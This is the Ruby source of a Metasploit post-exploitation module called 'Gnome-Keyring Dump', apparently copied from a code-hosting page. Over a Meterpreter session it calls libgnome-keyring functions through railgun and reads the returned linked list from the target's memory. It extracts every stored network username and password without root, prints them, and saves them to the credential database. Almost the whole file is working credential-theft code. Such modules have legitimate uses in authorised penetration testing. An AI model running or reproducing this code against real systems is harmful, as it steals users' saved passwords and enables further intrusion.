259 lines
7.1 KiB
Ruby
259 lines
7.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'bindata'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Gnome-Keyring Dump',
|
|
'Description' => %q{
|
|
Use libgnome-keyring to extract network passwords for the current user.
|
|
This module does not require root privileges to run.
|
|
},
|
|
'Author' => 'Spencer McIntyre',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => [ 'linux' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
end
|
|
|
|
class GList_x64 < BinData::Record
|
|
endian :little
|
|
uint64 :data_ptr
|
|
uint64 :next_ptr
|
|
uint64 :prev_ptr
|
|
end
|
|
|
|
class GList_x86 < BinData::Record
|
|
endian :little
|
|
uint32 :data_ptr
|
|
uint32 :next_ptr
|
|
uint32 :prev_ptr
|
|
end
|
|
|
|
# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
|
|
def struct_glist
|
|
session.native_arch == ARCH_X64 ? GList_x64 : GList_x86
|
|
end
|
|
|
|
class GnomeKeyringNetworkPasswordData_x64 < BinData::Record
|
|
endian :little
|
|
uint64 :keyring
|
|
uint64 :item_id
|
|
uint64 :protocol
|
|
uint64 :server
|
|
uint64 :object
|
|
uint64 :authtype
|
|
uint64 :port
|
|
uint64 :user
|
|
uint64 :domain
|
|
uint64 :password
|
|
end
|
|
|
|
class GnomeKeyringNetworkPasswordData_x86 < BinData::Record
|
|
endian :little
|
|
uint32 :keyring
|
|
uint32 :item_id
|
|
uint32 :protocol
|
|
uint32 :server
|
|
uint32 :object
|
|
uint32 :authtype
|
|
uint32 :port
|
|
uint32 :user
|
|
uint32 :domain
|
|
uint32 :password
|
|
end
|
|
|
|
# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
|
|
def struct_gnomekeyringnetworkpassworddata
|
|
session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x86
|
|
end
|
|
|
|
def init_railgun_defs
|
|
unless session.railgun.libraries.has_key?('libgnome_keyring')
|
|
session.railgun.add_library('libgnome_keyring', 'libgnome-keyring.so.0')
|
|
end
|
|
session.railgun.add_function(
|
|
'libgnome_keyring',
|
|
'gnome_keyring_is_available',
|
|
'BOOL',
|
|
[],
|
|
nil,
|
|
'cdecl'
|
|
)
|
|
session.railgun.add_function(
|
|
'libgnome_keyring',
|
|
'gnome_keyring_find_network_password_sync',
|
|
'DWORD',
|
|
[
|
|
['PCHAR', 'user', 'in'],
|
|
['PCHAR', 'domain', 'in'],
|
|
['PCHAR', 'server', 'in'],
|
|
['PCHAR', 'object', 'in'],
|
|
['PCHAR', 'protocol', 'in'],
|
|
['PCHAR', 'authtype', 'in'],
|
|
['DWORD', 'port', 'in'],
|
|
['PBLOB', 'results', 'out']
|
|
],
|
|
nil,
|
|
'cdecl'
|
|
)
|
|
session.railgun.add_function(
|
|
'libgnome_keyring',
|
|
'gnome_keyring_network_password_list_free',
|
|
'VOID',
|
|
[['LPVOID', 'list', 'in']],
|
|
nil,
|
|
'cdecl'
|
|
)
|
|
end
|
|
|
|
def get_string(address, chunk_size=64, max_size=256)
|
|
data = ''
|
|
begin
|
|
data << session.railgun.memread(address + data.length, chunk_size)
|
|
end until data.include?("\x00") or data.length >= max_size
|
|
|
|
if data.include?("\x00")
|
|
idx = data.index("\x00")
|
|
data = data[0...idx]
|
|
end
|
|
|
|
data[0...max_size]
|
|
end
|
|
|
|
def get_struct(address, record)
|
|
record = record.new
|
|
record.read(session.railgun.memread(address, record.num_bytes))
|
|
Hash[record.field_names.map { |field| [field, record[field]] }]
|
|
end
|
|
|
|
def get_list_entry(address)
|
|
glist_struct = get_struct(address, struct_glist)
|
|
glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)
|
|
glist_struct
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: opts[:protocol],
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
post_reference_name: self.refname,
|
|
session_id: session_db_id,
|
|
origin_type: :session,
|
|
private_data: opts[:password],
|
|
private_type: :password,
|
|
username: opts[:username]
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def resolve_host(name)
|
|
address = @hostname_cache[name]
|
|
return address unless address.nil?
|
|
vprint_status("Resolving hostname: #{name}")
|
|
begin
|
|
address = session.net.resolve.resolve_host(name)[:ip]
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
end
|
|
@hostname_cache[name] = address
|
|
end
|
|
|
|
def resolve_port(service)
|
|
port = {
|
|
'ftp' => 21,
|
|
'http' => 80,
|
|
'https' => 443,
|
|
'sftp' => 22,
|
|
'ssh' => 22,
|
|
'smb' => 445
|
|
}[service]
|
|
port.nil? ? 0 : port
|
|
end
|
|
|
|
def run
|
|
init_railgun_defs
|
|
@hostname_cache = {}
|
|
libgnome_keyring = session.railgun.libgnome_keyring
|
|
|
|
unless libgnome_keyring.gnome_keyring_is_available()['return']
|
|
fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')
|
|
end
|
|
|
|
result = libgnome_keyring.gnome_keyring_find_network_password_sync(
|
|
nil, # user
|
|
nil, # domain
|
|
nil, # server
|
|
nil, # object
|
|
nil, # protocol
|
|
nil, # authtype
|
|
0, # port
|
|
session.native_arch == ARCH_X64 ? 8 : 4
|
|
)
|
|
|
|
list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]
|
|
fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0
|
|
|
|
entry = {:next_ptr => list_anchor}
|
|
begin
|
|
entry = get_list_entry(entry[:next_ptr])
|
|
pw_data = entry[:data]
|
|
# resolve necessary string fields to non-empty strings or nil
|
|
[:server, :user, :domain, :password, :protocol].each do |field|
|
|
value = pw_data[field]
|
|
pw_data[field] = nil
|
|
next if value == 0
|
|
value = get_string(value)
|
|
next if value.empty?
|
|
pw_data[field] = value
|
|
end
|
|
|
|
# skip the entry if we don't at least have a username and password
|
|
next if pw_data[:user].nil? or pw_data[:password].nil?
|
|
|
|
printable = ''
|
|
printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?
|
|
printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?
|
|
printable << "#{pw_data[:user]}:#{pw_data[:password]}"
|
|
unless pw_data[:server].nil?
|
|
printable << "@#{pw_data[:server]}"
|
|
printable << ":#{pw_data[:port]}"
|
|
end
|
|
print_good(printable)
|
|
|
|
pw_data[:port] = resolve_port(pw_data[:protocol]) if pw_data[:port] == 0 and !pw_data[:protocol].nil?
|
|
next if pw_data[:port] == 0 # can't report without a valid port
|
|
ip_address = resolve_host(pw_data[:server])
|
|
next if ip_address.nil? # can't report without an ip address
|
|
|
|
report_cred(
|
|
ip: ip_address,
|
|
port: pw_data[:port],
|
|
protocol: 'tcp',
|
|
service_name: pw_data[:protocol],
|
|
username: pw_data[:user],
|
|
password: pw_data[:password]
|
|
)
|
|
|
|
end while entry[:next_ptr] != list_anchor and entry[:next_ptr] != 0
|
|
|
|
libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)
|
|
end
|
|
end
|